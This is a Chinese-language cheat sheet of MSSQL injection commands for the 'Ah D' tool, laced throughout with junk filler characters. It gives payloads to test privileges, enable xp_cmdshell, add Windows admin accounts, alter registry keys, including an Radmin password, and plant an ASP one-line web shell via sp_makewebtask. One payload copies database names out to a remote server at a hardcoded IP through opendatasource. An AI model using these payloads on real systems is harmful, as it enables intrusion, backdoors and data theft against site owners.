阿D常用的一些注入命令
+ U% l8 f2 \1 d/ W& D5 r. M7 O3 A//看看是什么权限的
8 }4 Y0 H0 o! B+ g$ `and 1=(Select IS_MEMBER('db_owner'))
9 ~1 A- A k, L" Y; Q/ o- AAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--$ I) F- m2 D6 x1 a
; H2 \5 a) X9 J) Y {+ C
//检测是否有读取某数据库的权限" y. O D/ l( d3 l6 {
and 1= (Select HAS_DBACCESS('master'))$ S! I" l- u5 c- p& U8 S3 Y
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --4 i: @ C$ A$ H* j8 g+ W2 m4 X7 f
* }' g7 `9 u( W$ C1 k% H. j( X, D$ E# I* B: [8 X t' [3 ^ u$ f
数字类型5 I$ v- y* t) ]* `% i9 z% V1 n
and char(124)%2Buser%2Bchar(124)=0
- \6 h8 S, X5 r& l( X; x" t( F" `* [9 D3 ?6 {
字符类型
! J7 q, i8 S; `' and char(124)%2Buser%2Bchar(124)=0 and ''='$ u3 T. P3 I# K" v0 w. R3 w
5 j, @; b. i P- U( g/ I! l1 I搜索类型+ S9 Z- S- N+ E# M1 f" U$ B
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
+ Q9 c( {) n0 |) M( @7 Y# Y5 f6 D, |0 v5 a) N# {3 C) x& z
爆用户名
+ R6 E9 ~) w3 y% {& t# V- q: t0 V4 [and user>0
D( f, `( T+ U e: ~( }! t/ p' and user>0 and ''='/ ]+ \% \4 }1 E2 m0 V/ A6 {
- E7 u' ], T, `* C; E
检测是否为SA权限
* k8 q6 c3 K; Z1 |" Yand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 X# \( @+ P6 O7 j# w, @2 s9 _% wAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --$ B- M3 M( g D# |4 e
; z+ H8 _% ?, {% Y8 |3 A- q检测是不是MSSQL数据库) Z. b" l3 r: i2 P' c4 K4 j* K0 @! S: n
and exists (select * from sysobjects);-- ; }, o4 z# V4 V% q% j" m7 a1 n4 u
& { {5 `, s8 j. h检测是否支持多行
- a8 M% T) n+ Q4 S6 A;declare @d int;--
1 p* {! j; P/ D% O
9 L7 o0 z6 G" e' A c& W恢复 xp_cmdshell
- v3 g! i8 i2 b5 r Y) U; u9 D7 U;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- k8 ]' }% t0 L0 }5 `4 o! Q7 l# E4 R
+ j7 ]/ b0 z8 y( Y) d$ v$ a0 \7 e( d! T. S. b# b( G5 I5 p: c
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
s$ X- Z% [5 ^7 y
, `8 `: O6 L6 N/ q. Q* v//-----------------------
# a3 k/ L% G# d6 F// 执行命令7 j' U) }- d' e" l% y5 ]3 M
//-----------------------
4 x) X: X, S$ n首先开启沙盘模式:
; K0 P* Q# v: ^2 h, ?' S% d$ Vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1! F) c+ U/ p5 c4 O% I! ]
$ ?# k5 `1 [7 @# m然后利用jet.oledb执行系统命令. N& F7 }" ~* ~$ T
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')" a; o! z! {9 g- c
+ Q2 z. `, e7 Y! w% X2 @1 f执行命令0 ^3 @7 j e; g) k" O; |
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--9 l3 X' I" N. U. J7 r
# R! A4 ?: h6 b) S
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'* v% q+ ^% _$ O' A; K9 i
' v0 Q9 b: ~9 H) Y% R, Z8 F判断xp_cmdshell扩展存储过程是否存在:( \, t7 g2 h3 H5 T$ ^% X$ y$ Y* ?. |5 t
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') A3 E% n1 q4 b0 Z
8 C6 k# g+ E- t& p7 q; @
写注册表1 L% k: j7 v: C
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1! @' U+ f! V9 a, z$ b9 {
8 }0 y8 x: C P5 K$ O# k" W# S
REG_SZ. H% H! f! H. L8 R6 e5 e
+ m1 P9 r p7 f3 {- q读注册表! ^% E% d. t$ ~4 | U
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
, B$ I. w' o5 O# ~& m# Q. L3 T" \0 k1 d# Q( @" r5 v6 B
读取目录内容
/ @$ n$ O" e x/ iexec master..xp_dirtree 'c:\winnt\system32\',1,1
0 B1 e+ B+ v# z. l) G$ w
2 W; B% S! g z9 Y, c! S- u
$ ^4 h3 v; V" S; B数据库备份
: s9 y* Q1 h8 I. [0 d4 ?backup database pubs to disk = 'c:\123.bak'
/ O: O4 Y3 M- p* A/ z. w: }% p6 n# N, b
//爆出长度
2 T2 [$ ]% D: N. o2 R& ?And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
; g: O' c% N4 v$ X
; `! m) g( |# o/ @; q' k
, i$ X8 e4 U# w( o( I$ R; y- k" M+ k1 p' q. q* y
更改sa口令方法:用sql综合利用工具连接后,执行命令:
: d4 }9 I4 g' Q4 Sexec sp_password NULL,'新密码','sa'
: @4 }# Y2 P5 ]0 Z1 r9 l4 |6 {/ ^& q! W
添加和删除一个SA权限的用户test:
/ x+ S# K* m0 D+ Mexec master.dbo.sp_addlogin test,ptlove
+ ~/ P* S8 c1 M' b1 e7 F6 Q$ Qexec master.dbo.sp_addsrvrolemember test,sysadmin
/ K) U8 e0 T( ]3 e- b
1 d* k H# S; T; c9 y+ T删除扩展存储过过程xp_cmdshell的语句: - s; y" u9 Q7 S! h
exec sp_dropextendedproc 'xp_cmdshell'
, b/ n# k* l% ]' T$ {9 e' E6 K1 M" T! V( E: ^
添加扩展存储过过程1 M! u2 `" j) ?+ N+ y7 g1 J
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' % U X! T" Q, n$ i* C/ D
GRANT exec On xp_proxiedadata TO public ( ]# f* F1 x9 `; v6 _
) _0 K9 _, q5 a7 L8 b( v. E/ G
) Z t) W1 T+ k3 x5 n停掉或激活某个服务。 + P) c: I2 E3 B! a
7 {8 g& l/ S( C: L* |9 V2 v' h2 m0 [
exec master..xp_servicecontrol 'stop','schedule'5 X# ~$ B5 S: ~6 y+ D
exec master..xp_servicecontrol 'start','schedule'/ } _7 X- W; d2 e! ]1 c+ }
% T' O3 {* a) E3 h: u) D
dbo.xp_subdirs2 c+ s1 ?2 ]. _6 p: J3 W8 Z" q: r
; F6 H: W9 m1 A
只列某个目录下的子目录。
6 ]- b- T% B; v9 P I+ q1 ixp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'% L" r4 `' |- c8 {
, X3 V, z% f" w) U- \. M3 X$ fdbo.xp_makecab' d' t" i8 b+ ~/ a0 M
( w6 p- \6 ^, ^' o% h# Z
将目标多个档案压缩到某个目标档案之内。
E# J% t$ D1 r* I2 |# d所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。4 j. @: T- V/ z0 G
' n w3 w3 ^& Y% Q4 |1 P" i% j
dbo.xp_makecab9 `0 E: Z+ R+ D( Z
'c:\test.cab','mszip',1,
# F4 Y3 p3 {% A2 A0 M8 D'C:\Inetpub\wwwroot\SQLInject\login.asp',
9 }5 A$ A9 L& }, x'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
3 b2 z- d6 j2 [0 N' F' h$ V! ?, N# M6 \8 i, Q5 C! ]0 y8 f
xp_terminate_process
4 @0 b; s d. V2 X6 H. Z! C2 D2 \7 L7 P l5 Z* f& U) `3 J; Z' e
停掉某个执行中的程序,但赋予的参数是 Process ID。
& Q9 r+ ]* z4 k0 d4 c" n利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID* \3 c6 `) G% a5 V
5 _6 V/ n6 `* U- K4 {- a
xp_terminate_process 2484
- C% A: I$ a2 c! Z
7 D# x( y' A/ u2 g! F7 o& Cxp_unpackcab
5 V. v2 T" y2 b# a
7 s2 M) ]6 u5 e1 c8 o解开压缩档。
) C2 d' u, t; f; ~) u2 Z4 ?, I: `; L* f6 j2 X @7 r7 b6 H, k
xp_unpackcab 'c:\test.cab','c:\temp',1
" h* o3 F q" ]1 C7 e {; V: N. B1 U2 k+ G$ N' G5 y* e8 c( J- L: l
2 L& ]5 j: }$ S: t某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
% U! {4 g$ a% q( n. i* v- M! G$ H
9 w/ v* k: j$ u6 k2 T1 t! ccreate database lcx;/ k0 e* \3 r; x6 i( j r& `
Create TABLE ku(name nvarchar(256) null);) _4 B& k, I8 M8 s
Create TABLE biao(id int NULL,name nvarchar(256) null);
5 I& U; ?7 [& C8 ^3 F; @' }* d3 j5 p/ C- W" W5 E
//得到数据库名3 \$ R- X' \0 Z
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases) N2 _0 b5 \- v
/ y: \! O2 R5 Q( T) V: L8 K8 [0 g' E6 _) a+ f9 g& v
//在Master中创建表,看看权限怎样
! `+ r% ^ p+ x5 @/ I3 B7 ECreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--1 w: y" A X3 H W0 i
- V' b" S+ i: L/ i% G- E
用 sp_makewebtask直接在web目录里写入一句话马:
* `1 c7 b! ^6 Q3 ~8 J5 N& D' Q) [ {http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--5 F: S6 T( f5 u9 e. E% \) t; p
9 \8 t; V' q3 D0 @$ z1 y
//更新表内容
' K+ v: I$ q, A9 P' jUpdate films SET kind = 'Dramatic' Where id = 123' V+ h$ E( Y2 T, z6 y4 e/ }9 u
7 |( {# G( r& c# A//删除内容# ]- G! { e) C% B. d
delete from table_name where Stockid = 3 |